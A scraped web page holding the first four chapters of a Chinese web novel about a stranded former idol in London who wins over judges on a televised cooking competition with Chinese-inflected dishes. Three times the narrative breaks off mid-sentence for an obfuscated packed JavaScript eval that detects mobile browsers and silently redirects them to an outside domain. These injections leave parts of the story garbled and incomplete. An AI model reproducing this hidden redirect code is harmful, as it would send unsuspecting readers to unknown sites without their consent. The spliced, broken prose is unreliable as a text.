《你对中餐一无所知！》 1. 咸蛋炸鸡汉堡 “世界上最后一件能被你虔诚相待的事情是什么？” “厨艺。” “错了。” 蒋醉余掩住下半张脸打了个呵欠。 哪怕已经快要正午了，他依然难以抑制住自己的困倦。 昨天夜里，他的室友兼队友们又在精力旺盛地收拾东西，叮叮咣咣好不热闹，惹得蒋醉余也不得不跟着熬夜。 短短的睡眠时间里还塞了一场跌宕起伏的大梦。 梦境没到尾声他就被闹铃惊醒，早上六点起床来快餐店打工。 蒋醉余对着店里的镜面装饰看看眼下青黑，颇感自己怨气深重。 餐厅暂时没顾客，他在桌上趴下准备休息一会，顺便回味早晨格外真实的美梦。 要是他真的如梦中所说是什么国宴菜名厨的关门弟子就好了。 要是那些娱乐圈记忆都是过往云烟就好了。 眼睛还没半阖，一个压抑着怒火的声音却在头顶响起。 “兄弟，我昨天打电话预订了今天中午十二点要一份炸鸡汉堡套餐，你们当时连声答应，可是你看看你给我的东西！ “这可是公共假期的星期六啊，明天就是复活节了！你毁了我的节日！” 是方才的客人。 蒋醉余抬起头，眼前怼来一个打开包装的汉堡和空荡荡的牛皮纸袋。 汉堡上盖的面包不知道被扔到了哪，令人不忍直视的内容物显露在两人眼前。 蒋醉余下意识地评判起来。 面包看起来算是松软，但明显已经被压瘪了。 腌黄瓜拌紫甘蓝裹了过多蛋黄酱，把酱料染成了奇怪的粉红色，还会破坏原本清爽的口感。 至于作为主角的鸡肉类…… 顾客两根手指拎起微凉的鸡排：“没有薯条！没有可乐！炸鸡的外皮都被熏软了！” 话音未落，脆弱软烂的面糊支撑不住鸡肉的重量，鸡排“断尾求生”，整个掉落下来。 青年捏着手里仅存的那一点面衣，一时怔住。 蒋醉余微微叹了口气，熟练地递给他两张纸擦手。 好一幕似曾相识的尴尬场面。 他终于回想起来，梦也不完全是个美梦。 在梦的开端，他就是这样浑浑噩噩，甚至为此丧了命才“有幸”穿越。 他张开口想要辩解，又不知从何说起。 毕竟受影响……做出那些事情的人确实是他。 可如果不做些什么，也不知道事情会不会最不理想的发展前进。 “发生什么事了？” 餐厅老板听到争执声，从后厨走过来。 青年语速飞快地给他描述了一遍，又说：“而且这已经不是第一次了！最近一个月，这位先生至少给我记错或拿错过三次点单。” “确实，”老板看了一眼蒋醉余，“醉余，这不是我第一次接到对于你的投诉了。” “等这周结算完工资，你还是先休息一段时间吧。” 他又转向客人，承诺要赠送一份巧克力曲奇作为赔偿，把对方送回座位上。 蒋醉余欲言又止地看着青年的背影。 那位客人明显已经很不满了，但店主待他不薄。 如果因为自己导致快餐店声誉受损，未免太令人愧疚。 他对店主轻声道：“斯蒂芬先生，我想自费为那位客人改成双层炸鸡汉堡……由我亲自制作。” “我是认真的，”他看着老板困惑的眼神，“炸完了您可以尝一尝，如果满意我再端给他。 “我很擅长做饭的。” 他始终对自己的梦念念不忘。 如果那真的是一个预知梦，记忆中让他跃跃欲试的理论和技法，会不会也能够被复刻呢？ ……但老板依然默不作声地盯着他。 “如果不满意，我就自己花钱买下来。”他妥协道。 蒋醉余终于被允许进了厨房。 早上在中超买的一整袋生咸蛋黄还没开封，他从中取出两颗放进烤箱。 金灿灿的蛋黄在高温的烘烤下滋滋冒油，他不为所动，自顾自地准备配菜。 紫甘蓝切丝，只加一点盐和胡椒进行基础调味。 酸黄瓜用清水冲洗后切成小粒，和蛋黄酱一起拌匀。 等到咸蛋黄烤好，放在干净的小碗里碾碎，混入没有调味的裹粉。 他从冰箱里找出提前腌制的原味鸡腿肉，腌料只有最基础的盐、白胡椒和原味酸奶。 鸡腿肉上轻轻拍一层面粉，防止炸制过程中鸡肉出水，导致面衣与肉分离。 然后裹上一层蛋液，两块鸡排分别粘上放了基础调味或咸蛋黄的裹粉，塑造出好看的鳞片，放进预热好的锅里油炸。 起酥油激发碳水与蛋白质的香气，蛋黄浓郁的鲜香不甘示弱，外皮逐渐由奶白变成金黄色。 将温度探测针插进鸡排的中心位置，精确的数据表明它们已经到达了熟透的温度。 蒋醉余把用边角料做的小块炸鸡递给老板。 老板犹豫地看了他一眼，取出刀叉切开炸鸡。 鸡肉如果没做熟是有可能导致细菌感染的。虽然这幅不信任的姿态可能不甚礼貌，但他更想保住自己和客人的命。 餐刀切碎脆皮，发出咔嚓咔嚓的声响。鸡肉白里透着微粉，按压时有汁水流出，松开手又缓缓回弹。 一口咬下，咸蛋黄独特的风味与成熟白胡椒的柔和辣味交织，面衣中没有完全碾碎的蛋黄颗粒带来一丝沙沙的口感。 “我要对你刮目相看了，醉余。”老板满足地长出一口气，随即拍了拍他的肩膀。 “如果不是我亲眼看着你做出来，我绝对会以为你奢侈地用蟹黄腌制了鸡腿。 “快给客人送出去吧，我相信他会为了这个改良汉堡而原谅之前的所有事。” 蒋醉余把炸薯条和奶酪酱装盒，加了柠檬片的冰可乐在塑料杯里活跃地吐泡泡。 但最引人注目的还是双层汉堡。 刚组装好的汉堡冒着热气，面包松软、酱料清新。紫甘蓝沙拉调味简单却和谐，蒋醉余特意挤出了其中水分，防止汉堡的颜色发生改变。 两块口味不同的鸡排一上一下挤在一起，一口咬下去先感受到互不相让微辣与咸鲜，又慢慢融合在一起。 当柔和醇厚的调味让你觉得有些无趣了，酱汁的回酸和紫甘蓝独特的清苦又能起到爽口的作用。 滑板青年瞪大了眼睛，三口两口吃完了汉堡，卸了力气一般地全身靠到了椅背上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775078|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他已经听说了这道菜的主厨是谁，语无伦次地对着蒋醉余道：“先生，你简直是天才，不要把生命浪在无趣的端盘子中了。” 他挠了挠头：“不过我想请问一下，我好像在这个改良鸡排里吃到了螃蟹的味道。” “是中餐里的咸蛋黄，一种腌制的鸭蛋蛋黄。”蒋醉余简单解释。 青年点点头：“原来中式风味这么好吃，这个可比外面那些便宜的中餐厅有意思多了——斯蒂芬先生，我以后还有机会吃到这个口味吗？” “我也很希望你可以。”老板笑呵呵道。 他抱着手机在店外打了半天电话，回来很抱歉地看向蒋醉余：“醉余，我希望可以向你买断这个汉堡的授权。” 他扬起手臂，语气煽动：“我相信，这会让我们在全城掀起中国风味的潮流。” “那么我的工作呢？”蒋醉余见多了吹捧自己厨艺的人，面不改色问到。 老板顿时萎靡下来。 他像一棵被压弯了的草：“我没有办法。你知道的，我们是一家连锁店，你的投诉是被提交到全国总部的。总部的人已经收到不止一条投诉，要求我必须解雇你。” “我刚刚用你的汉堡又联系过他们了，但是没能给你争取到宽限时间。” 他耸了耸肩：“不过他们同意了我想买菜谱的申请，如果到时候反馈良好，会再追加一笔钱作为全国授权。” 总而言之，可以花钱，但不能继续雇佣他。 蒋醉余和老板对视一眼，老先生善解人意地离开，留下他一个人盯着屏幕上的营业额发呆。 兜兜转转，挣扎过后，他又回到了山穷水尽的境地。 他叹了口气，难道自己终究影响不了这个小说世界的运行吗？ 是的，小说。 他梦中的师姐爱听有声书，其中有本娱乐圈耽美文，里面炮灰的经历与他一般无二。 他们都是车祸后的遗腹子，都在毕业后为了高额底薪只身闯入偶像圈，又都因为得罪了队长而被转入开拓欧美市场失败遗留下的伦敦分队。 在公司进一步砍掉他的底薪之后，蒋醉余不得不在附近的汉堡店做起了服务员。 按照书中剧情，“炮灰”偶醉余无辜被卷入街头斗殴，横死在3月30日，一个无风无雨的阴天。 死讯隔了一日才传到国内，所有人都觉得这只是个有点过激的愚人节笑话——直到社会新闻刊登了此事。 蒋醉余看着快餐店电子钟上清晰的“3月30日，12:36”字样，打开手机熟练地把刚到账的演出费转给国内一个账户。 也不知道在获得了这样的预言梦之后，他能不能躲过那场夺走自己生命的打斗。 如果一切已经没有转圜的余地，那么给他造一场梦又有什么意义呢？ 比起那些得罪主角攻受的前缘，他现在期待的不过是找到新工作而已啊。 尤其是……一份摆脱无良队友的包吃包住工作。 他走在回宿舍的路上思考未来，突然被路边的广告牌吸引了注意力。 “火遍西方世界的《美食之王》厨艺竞技综艺第五季火热海选中！ “欢迎各位业余厨师报名参加，冠军更有百万英镑大奖等你拿！” 2. 茄汤菊花豆腐 回家绕了点路，蒋醉余进屋的时候正碰到在厨房拿酒的队友。 他礼貌性地点了点头，对方睨了一眼他这个名义上的队长，只作没看见。 他现在在伦敦分队的这群队友们，大多也是犯了错才被发配。 只不过蒋醉余是唯一一个同时得罪老板和团内第一人的。 余下“有药可救”的，不少都惦记着靠踩他来表忠心。 好消息是，公司对他们纯粹放养，没有任何额外工作或宣发，蒋醉余和队友唯一的交集就是每月观众寥寥的公演。 他们会在表演当天下午短暂地碰个头，排练早已熟悉的老旧曲目，队友们的抱怨一年如一日。 也许算更好的消息是，他们这个月的公演昨天刚结束，下个月的演出大概率要因为售票太少而泡汤了。 接下来至少两个月，他都不需要再和这群人打交道——不要问他为什么不退团，来之前谁也没想到伦敦分部能堕落成这个样子，离了公司蒋醉余连回国的机票都买不起。 但也多亏了他的偶像生涯刚起步就破灭，签署的合同还是团里最宽泛基础的一款。 公司里的艺人就像韭菜一样年年割年年长，没有足够的资源大力支持每一个人，也不在意有一两个人想要离开圈子。 别说像他这样已经挣过一笔钱的。每年入团“聚餐”上前辈给后辈灌酒，不知道直接劝退了几个人才，还不是像个所谓传统一样保留了下来。 蒋醉余仔细检查了自己的电子合同，参加厨艺竞技这样的非娱乐圈综艺绝不违约，甚至无需报备。 今年的《美食之王》就在伦敦录制，他甚至完全可以照常参加公演，只需要从综艺剧组请出半天假。 作为囊括了整个欧洲大陆的全民级大制作节目，《美食之王》如今播完了四季，风评和热度居高不下。 不菲的奖金、名厨的指导和潜在的成名机会，每一项都吸引着厨艺爱好者们前赴后继。 面对海量的报名者，节目每年举办三轮筛选。 第一轮并不需要现场烹饪，只是提交报名资料和做菜视频，蒋醉余轻松入选。 第二轮的地区海选是整场比赛中时间最宽裕的，一共有五小时的时间，随后由评委观察试吃，一百人中取前两名出线。 这并不算一个小数字，当他带着趁手的厨具赶到海选现场的时候，大厨房里已经站满了人。 其中面孔多为白人，看上去是少数族裔的也大多说着流利的英语。 显而易见，这群人才是节目真正的目标群体，蒋醉余这张脸在其中显得格格不入。 譬如一道傲慢且经典的英式口音就注意到了他：“那个99号选手是个亚裔吗？” 蒋醉余用余光看去，那是他们赛区的评委，一位多年前拿过什么美食奖铜奖的创新菜厨师。 对方正在和身边人聊天。 另一个人表现得对选手和节目效果很熟悉，大概是赛区导演之类的角色：“不，是个来工作的纯种华人。” “他甚至不是华裔？我可不信中国人能在这个节目里捞到什么好运，”评委语气有点夸张，“我的天哪，我对中餐一点兴趣都没有，希望他不要给我端来一盘黑乎乎的大肥肉或者速冻炸春卷。” 蒋醉余：“……” 爱红烧肉和春卷人士表示强烈谴责。 他一边擦方片菜刀一边静静听着。那两个人似乎不知道自己在大声密谋，又或许只是不介意他听到。 导演重复了一遍自己的话，一副语重心长的语气：“但他是个纯正的中国人。” “你知道的，我们还是个综艺节目，”导演说，“如果一个中国人能够进入预赛、甚至正赛，那将会引发多少讨论。何况……他很帅。” 评委阴阳怪气地哼了一声：“他是很帅。如果他没有差得太过分的话……” 蒋醉余不打算再听了。 包吃包住的未来道阻且长，看评委这个态度，为了避免半路夭折，恐怕还得下一番功夫。 他并非不能理解外人对自己的不看好。 当意大利选手思考今天吃哪种面条配什么酱料时，当西班牙选手从小吃惯了街边或高档餐厅里的各不相同的海鲜饭的时候—— 蒋醉余接触最多的，却是对西方人来说属于“异域风情”的中餐菜系。 但他其实并不担忧。 他对自己的学习能力有着充分的信心。 在现实中，他是父母车祸的遗腹子，连名字都是当时抢救的医生给取的，小城孤儿院里草芥似的一员硬生生考上一本。 在梦里，他穿成了华夏国宴大师的关门弟子，从刀工开始步步积累，练就一身顶级厨艺，拥有了属于自己的餐厅。 多看、多练、多学，他一直笃信勤奋是唯一握在自己手中的技能。 对于综艺而言，从基本功到色香味，都要呈现最好的视觉效果。 撇开厨艺水平不谈，我以前可是个偶像啊，他漫不经心地想。 每周与粉丝近距离线下表演、被包装成流水线商品的偶像。 他们最知道自己在镜头或观众前怎样的动作和角度是最完美的。 何况他又不追求夺冠。 随时有可能靠死讯登上使馆公告的人，考虑那种事做什么，能活一天算一天。 很快，随着导演简单介绍完规则，比赛正式开始。 蒋醉余将牛腱子肉切块，煎出焦褐色后盛出，在锅中继续翻炒大蒜、洋葱、胡萝卜、番茄块和番茄膏。 清水没过杂蔬和香料，锅壁上的焦化层溶入汤汁，清水变得香气扑鼻。 把牛肉和蔬菜汤一起倒进炖锅后，蒋醉余拿出一小盒圣女果，开始做盐渍番茄干。 鲜红的果子在烤箱里慢慢皱缩。他特意挑了糖分较少的品种，酸味与夹杂的少许甜意一起浓缩。 外表平平无奇，一口咬下去却有浓郁的番茄香在嘴里炸开，与腌渍用的盐味相辅相成。 他把果干拿出来一粒粒整形成球状，列队摆在案板上。 两个小时的时间终于过去，蒋醉余把炖好的番茄牛肉汤滤出，放到冰箱冷藏。 他又取出一块纯瘦牛肉绞成肉糜，加入蛋清和罗勒碎、百里香，同切丁的口蘑、洋葱、芹菜、胡萝卜等混合在一起，倒入干净的锅中。 冷藏好的番茄牛肉汤表面浮起一层凝脂，蒋醉余将它们全部撇去，重新倒回锅里，大火加热至尚未沸腾的状态，转为小火。 牛肉糜吸收了肉汤中的杂质，渐渐变熟浮起。这时候在肉末中挖出一个小洞，加入盐和胡椒调味，继续小火煮一个小时。 他把汤从锅内倒出、过滤，得到了一碗清澈见底的橙黄色清汤。 这是一道无可指摘的基础法式清汤。 但在今天，这锅耗时近四小时做出的汤只是配角，真正的主角尚未出场。 他拿出准备好的内酯豆腐，去边切成正方形，在前后各摆上一片比豆腐略长一点的胡萝卜条。 豆腐和刀片上各撒一点水，他左手手指轻轻顶着刀，右手手腕微动，没过多久，不大的洁白豆腐上竟然切出了二三百刀。 豆腐片薄如蝉翼，每一片的厚度只有不到一毫米；而下端由于胡萝卜条的阻碍，没有完全切断，仍旧紧密地连接在一起。 他轻轻出了口气，把案板和胡萝卜条旋转九十度，重复之前的动作。 极薄的豆腐片变成了毛发般的豆腐丝，在重力作用下左□□倒，乍一看仿佛一团烂泥。 但蒋醉余知道，他成功了。 他取出一只纯白的草帽盘，这种餐盘顾名思义，就仿佛一只顶朝下的草帽。 它由两个嵌套的同心圆组 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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评委没有理会他们的反应，将圣女果干、豆腐、牛肉和汤一勺送入口中。 先是汤滑下喉咙，肉味和蔬菜的清香交织，少量添加的香料增添了独特的花草气息。 汤底不仅仅是背景板，在蒸制的过程中，它也融入了来自黄豆制品的醇香。 随之而来的是内脂豆腐，细丝几乎入口即化，舌尖在口腔中抿过，留下丝滑绵密的余韵。 牛肉纤维更多，需要咀嚼的时间，但两个小时的炖煮已经使它足够软烂香嫩，也没有显得干柴或细碎。 牙齿轻轻撕咬碾压，就能品尝到牛肉块中蕴藏的饱满汁水。 牛肉还未尽数咽下，富有嚼劲的番茄干已经登场，令人食指大动的酸咸香味轰然爆发，刺激了口水的分泌，让食客不由自主地想要继续吃下去。 哪怕一开始表现得颇为不屑的创新菜评委，也没能逃脱这首复杂风味的交响乐。 他下意识地将勺子伸向汤盘，就听到导演刻意的咳嗽声，手臂登时将在半空中。 评委又瞧了一眼缺口的菊花豆腐，恋恋不舍地放下勺子，点评道： “技艺精湛，调味平衡，菜品美观，希望未来能看到你更多独特的创意，但总之，我很看好你……” 蒋醉余微微颔首，目送他走向最后一位选手。 不到两天后，预赛的邀请函便送到了他手上。 再过不久，所有入围者都将聚集在伦敦，在三位正赛评委的观察下完成预赛。 但真正能成为正赛选手的，只有十二人。 偌大的欧洲赛场，真的能容忍这其中有十二分之一的纯粹华人面孔吗？ 蒋醉余不确定。 3. 腐乳菌菇意面 预赛中三位评委每人可以投出一票，得到两票及以上的选手可以入选； 在过去几季里，还曾经有过名额不够分、入选的选手又重新被踢出的戏剧性事件。 选手们有四十分钟的时间在小厨房进行准备和烹饪，直到最后五分钟的收尾工作才会单独转移到评委面前。 导演每隔十几分钟就会通知一个人开始做菜，蒋醉余旁边的两个人已经离开，自己面前的四十分钟倒计时也即将归零。 他把半成品放在餐车上，顺着一条无人的走廊走进评审厅。 空旷的大厅内灯光不算明亮，配上善穿黑套装的评委更显压迫感十足。 这三位评委各有擅长的菜系，唯一的共同点就是都拿过不止一次美食奖金奖。 其中最年轻的男评委说：“让我看看，你报名表上写的名字叫醉余……你有英文名吗？” 按照英语的用词习惯，他说的是“preferred name”。 蒋醉余摇摇头：“没有，我很喜欢我的中文名。” 气氛莫名有些凝脂，居中的女评委插过话来：“那么，醉余，你准备了什么呢？” 白腐乳菌菇酱配手工蝴蝶面。 Farfalle原本是意大利语蝴蝶的意思，在英语中又被称为“领结面”。 中国人则选择简单粗暴地合二为一，翻译成“蝴蝶结”。 这些名字鲜明地昭示着面条的形状。 揉好的面团擀成片状，用波浪形的刀片压成四边起伏的长方形。 再从长边的正中向上捏合、做成领结的形状，一块蝴蝶面就做好了。 湿面条不需要煮太久，在加了橄榄油和盐的水里翻滚三分钟就可以捞出。 蒋醉余提前把白腐乳和汤汁搅拌均匀，磨碎至丝滑。 香菇、杏鲍菇、口蘑切片，海鲜菇切成与它们差不多长的段，热锅爆香蒜末，将蘑菇们全部炒软。 几个锅碗被放到料理台上后，五分钟计时正式开始。 他把面条和腐乳汁倒回锅里，加上许盐和胡椒调味，不停搅拌，让酱汁均匀地挂在面条上。 “你用的是什么酱？”评委中的创新菜女厨师饶有兴趣地问道。 无论资历或名声她都是在场最盛的一位，在节目中有着主持人或评审组长一样的地位。 “主料是白腐乳，一种豆腐发酵产物。”蒋醉余说。 裹酱的过程并没有历时太久，他把面条盛在盘中，轻轻擦上零星的黑松露和瑞士大孔奶酪碎。 “我喜欢你的盘子。”一直未发言的最后一位评委没话找话。 蒋醉余选择的是一只半圆不方的黑色粗陶盘，粗犷古拙的外形和腐乳的发酵鲜味格外适配。 用镊子小心地装饰上几片浅绿的豌豆嫩叶，再擦掉边缘滴落的酱汁，这道菜就完成了。 领结形的意面一面凹陷，就像两个小勺子，能够盛住浅浅的酱汁，也能托住和它大小无差的蘑菇片。 香菇气味独特、口感润滑，杏鲍菇扎实肥厚，口蘑味道鲜美，脆嫩的海鲜菇带来淡淡的蟹香。 但最引人注目的还是酱汁。 白腐乳的鲜咸味突出，但又和红腐乳的比起来又多了几分清淡。 黑松露和大孔奶酪不仅仅是装饰，更增添了富有坚果香气的底色。 “最后好像有点果味？”创新菜厨师品味片刻，疑惑道。 世界名厨的味觉分析不是一般人能够比拟的，蒋醉余毫不意外地点点头。 “酱汁里加了一小勺桃子酒。” 低度的柔和白桃清甜在锅中蒸发，只留下一丝若有似无的尾韵。 以甜衬咸、以咸衬甜，这都是烹饪中常见的手段。 “我看过你的海选视频，”法餐评委放下餐具笑了起来，“不知道你能不能成为《美食之王》的正式选手，我决定先封你为豆制品之王。” 投票箱在舞台中央升起。每名评委手中有两个外观完全相同的小球，打开后分别能看到通过或不通过的纸条。 箱子里的风扇转动，彻底打乱小球的位置，蒋醉余走上前去摸出选票。 第一位，通过。 第二位……不通过。 导演组的镜头几乎怼脸，蒋醉余却面不改色。 有人的地方就有江湖，上百个男人的偶像团体更是能乱成一锅粥。 他曾经是同届偶像里，唯一一个在新人年就冲进排名前三十的。 非要说的话，蒋醉余那时候经历的所谓对家粉丝录像可比这过分多了：他们还自带眼神解析小作文一条龙呢。 最后一颗小球终于在众人围观下被打开了。 ——通过。 创新菜主厨微笑着恭喜他，掏出一排颜色各异的卡纸，上面都印着节目组的标志。 这是专属于入选者的庆祝，可以把自己的名字高高挂起。 在他之前，已经有不少人完成了这项仪式。 一个叫伊拉的选手，给自己标注了法国和印度两个国家；还有一个似乎是日本名字，前面写着意大利。 蒋醉余签好名，把卡纸插到核心厨房的门口，红底金字熠熠生辉： China, Jiang Zuiyu ☆ 镜头在卡纸上停留一瞬，选手助理把他拉去录制采访。 刚通过海选的时候，节目组就让每个选手提交自己亲友的联系方式，他们要收集每人一份应援视频作为介绍。 当时的蒋醉余自然是填了快餐店老板的名字。 采访导演先给他播了视频。 老板的半身像出现在屏幕里，蒋醉余认出他身后的店铺装潢。 “醉余，你的咸蛋黄炸鸡汉堡已经给我们招来了大批回头客和新客人，现在全城都在讨论中式风味，我相信你一定能走到最后的！” 他说着，从身后掏出一张红纸来：“我听说你们中国人有个习俗叫‘福到了’，祝你一直实力与幸运兼备！” 蒋醉余交扣的双手不太自在地握紧。 他有点憋不住笑，热情的斯蒂芬先生不知道从哪里进的货，也不想着问一声他隔壁的中超老板。 吉祥话和满满的心意虽令人熨帖，但他手里那张纸上印着的…… 分明是个双喜啊！ 视频还没结束，一阵刻意的镜头晃动之后，熟悉的棒球服青年闯了进来。 他抬头挺胸，一张口竟然唱了起来。 【他是《美食之王》里的大忙人， 人人都赞美他蒋先生。 ‘一锅红烧肉！’ ‘一只烤鸭子！’ ‘一盘煮水饺！’ ‘一屉小笼包！’ ——别忙，别乱，一个个来，请你品尝！ ‘中！国！蒋！’】 蒋醉余眨了眨眼，陷入弥足悠长的缄默。 浑厚的男中音，改编自歌剧唱段《快给大忙人让路》。 放在这个语境下，谁给谁让路不言而喻，塑造出几分整季节目舍我其谁的架势。 咸鱼听了都要从盐堆里跳起来把你膝盖打成溜溜球。 他捂住脸叹了口气。 可以，但没必要，真的。 采访导演声音里也带着压不住的笑意，问了几句感受和目标就放过了他。 蒋醉余跟着节目助理前往安排的住宿。 提供给选手们住的都是不太大的二层小楼，因为户型不一所以能容纳的人数也不同。 据说蒋醉余“不幸地”成了落单的那一个，只能独居在最小的房子里。洋房不大，但漆得很干净，门口种着棵依附墙壁的树，刚刚抽出一点绿意。 助理被一个电话匆匆叫走，蒋醉余接过钥匙打开屋门，摸索着打开灯，照亮了堆在走廊边大大小小的纸盒。 “你是谁？”脚步声传来，接着是一个警惕的声音响了起来。 蒋醉余顺势打量去。眼前的青年颇为眼熟，比自己矮了半头，五官犹带稚气，他们两天前才远远见过。 青年穿了件棕褐色长袖罩衫，衣服上还有新鲜的油彩痕迹，手里捏着的硬木调色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775080|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盘和裁纸刀仿佛是为了防身，浅薄荷绿的猫儿眼蓦地瞪大。 蒋醉余一愣，两人同时望向他手里的钥匙。 半晌后。 “看样子你暂时只能住在这了。”青年带着蒋醉余坐在了沙发上，不自觉地理了理罩衫，试图挡住上面乱糟糟的颜料印记。 他有些窘迫地补充道：“门口那些纸箱是我做装置艺术用的，可能有点挡路，我会收拾好的。” 刚刚经历了一顿紧急联系，他们终于搞明白了其中乌龙。 青年家里是这个综艺的投资商，导演原本联系的住宿出了问题，于是他家长把这几间房产全都租给了节目组，却根本没想起来通知自己的儿子。 ……更没想到他会在复活假期的时候，为了写生方便而自己跑过来住。 “我是不太打算换地方的，”青年说，“不过一楼还有一间客房和盥洗室，蒋先生可以自便，只要不上楼就好。” “你知道我姓蒋？”蒋醉余下意识问道。 青年顿了一下：“啊……刚刚他们和我介绍了。” 他把桌上五颜六色的郁金香向旁边推了推，笑着给他倒了杯茶： “既然如此，我来自我介绍一下吧。我叫Zephyr，中文名叫齐新雨，目前在伦艺读硕士。” 蒋醉余倏尔抬头看向他。 Zephyr不能算是一个寻常的名字，甚至该说冷门。 这个词最早出自希腊神话中的西风之神，在英语中的含义囊括了西风、和风。 英国的某个姓名评分网站显示，百分之九十的用户认为它罕见而奇怪。 而英文名叫Zephyr的“齐新雨”先生，大概天底下也不会有第二个人了。 柳面和风随去棹，壁池新雨对长檠。 齐新雨，正是书中反派的中文名。 他是个黑发碧眼的中英混血儿，从小在英国长大，原书作者曾反复描述“他水绿色的眼底一片深沉，像盛夏冰冷的深潭”。 但此时的齐新雨，还只是个刚满十八岁的美术生。 他于绘画一道天赋卓绝，一路跳级带提前入学。 再加上英国本科三年、研究生一年的独特学制，他到今年秋天就能硕士毕业，满心都是对未来的憧憬。 蒋醉余摸了摸下巴，按照书中说法，齐新雨“也不知道看上他什么了”，是他为数不多的真爱粉。 他是个富二代，家里开了医院，在假期结束前跟着母亲视察，机缘巧合撞到了被送去抢救的自己。 很显然，抢救失败了。 这就是齐新雨“黑化”的契机。 他默默打理好了偶像的后事，以自己的作品为刃，在大洋彼岸指使藏家们狙击主角攻受的事业。 那时候，主角受南楠已经成为国内无人能比的顶流偶像，也与金主攻靳书甫修成正果。 他放弃了最纯粹的热爱，甚至最终亲身跃入纷争。 但作为一名“反派”，他注定要被主角光环搞得身败名裂。 齐新雨下线的那天，读者们“弹冠相庆”。 他的画室落了厚厚一层灰，只剩一副从未公开的新作，被创作者一把火烧去。 蒋醉余默默叹了口气。好好的艺术界新星，怎么就被折腾成这样。 他本以为自己将要悄无声息地死去，谁知在死后收到了一颗鲜活跃动的真心。 齐新雨记得他说过的每一句话，记得他在聊天里随口一提的希望埋骨处被种上一丛醉鱼草，却把他葬在了一片百花争妍的花海。 齐新雨说，希望他有不拘类目的满园春光。 蒋醉余看着面前尚显拘谨青涩的人。 既然让他提前知道了那所谓的“未来”，他就绝无可能忽视那些赤诚浓烈的情感。 粉丝与偶像的关系可称脆弱，大概没有人会忍心让这一腔爱意以滤镜碎裂告终，落得满地鸡毛。 他打开手机，搜索书里提到的齐新雨的社交账号。 保持着对方喜欢的人设，直到他脱粉……也并不很难。 4. 熏火腿土豆泥 凌晨五点。 蒋醉余躺在床上，翻了个身。 英国的鸟儿很是勤劳，这时候就开始啁啾着开会，浑然不顾失眠的人类还能不能睡着。 齐新雨，你睡了吗？他想。 我睡不着。 作为一个自觉庸俗的普通人，蒋醉余对于纯艺术没什么了解。 原书也没有提过这位“天才画家”究竟擅长的是什么。 可能是我太外行了，要用发现美的眼光来看待这些作品……他举起手机，扫了一眼，又连忙撇开。 齐新雨显然对自己的名字很满意，上网也顶着相关的昵称。 “吹不散西风”，圈内人称西风老师、西风女神，是圈内出名的画手。 主要出名在一手画涩图的功力无人能及，却又“忠心耿耿”地只画蒋醉余一人，连稿子都不接。 蒋醉余点开一张图上写着“非礼勿视哦”的博文。 这是条很奇怪的博文，点赞不少，评论却不多，而且个个看上去都比齐新雨含蓄。 他已经学会了，这种情况就要去找西风老师的黑叉账号。 不过在此之前还得先看看评论区的“艺术赏析”怎么说。 最高赞动情尖叫：【这才是最顶级的饭！肥而不腻，涩而不欲，半露不露，配上酱鱼老师这张生人勿近、正气凛然的脸，什么叫可远观不可亵玩啊！】 其下“作者赞过”的标识分外抢眼。 蒋醉余摸了摸自己的脸，小心翼翼地把页面滑回另一个软件。 图中他咬着一只飞镖，半敞的军装款外套和衬衫上有灼烧的痕迹，皮肤和脸颊带着星星点点擦伤。 眼神自下而上望去，瞳仁被掩住半扇，一幅面无表情模样。 整幅图除了黑白，就只有虹膜和飞镖、外套上的装饰被涂成金色，愈发显得压迫感惊人。 蒋醉余记得这套衣服，是他转队前最后一季固定舞台的演出服。 因为被他当时的队长南楠指责弄坏了衣服，蒋醉余不得不自费把它买下，至今放在他的行李箱里。 所以齐新雨这是……只喜欢他的脸吗？ 不过日常生活好像没法穿演出服…… 他有点苦恼地在两个软件之间切换，终于带着一脑袋诡异的新知识沉沉睡去。 ……然后很快被自己定下的闹铃吵醒。 昨天他和齐新雨紧急商定了两人的“同居”准则。 在蒋醉余的强硬要求下，他承包了两人的一日三餐，齐新雨则分担一半的买菜钱。 他这位房东看上去实在纤细得怕人：腕骨伶仃，还时常承受胃病的痛苦。 蒋醉余是绝不可能眼睁睁看着他在自己面前瘦成这个样子的。 盖好自从出了国就再也没有打开的护肤品盒子，他轻手轻脚地走进厨房。 硕大的冰箱看上去比考完试大学生的脑子还空旷，只能勉强拼凑出最常规的三明治食材。 烤箱复烤的成品牛角包从中切开，面包被热度烘得金黄酥脆，虽然不如新鲜现做的内心蓬松柔软，一咬下去掉渣也无愧于丹麦酥皮点心的分类。 出于一些中餐厨子的倔强，他把番茄片也两面各煎了一下，和生菜一起铺底。 蔬菜之上摆几片煎得卷曲微焦的萨拉米肠，中间涂抹的是他自己带来的肉松，用一点蛋黄酱拌匀。 旁边搭配点缀果酱和切果的希腊酸奶，这是他能在冰箱里找到的全部食材。 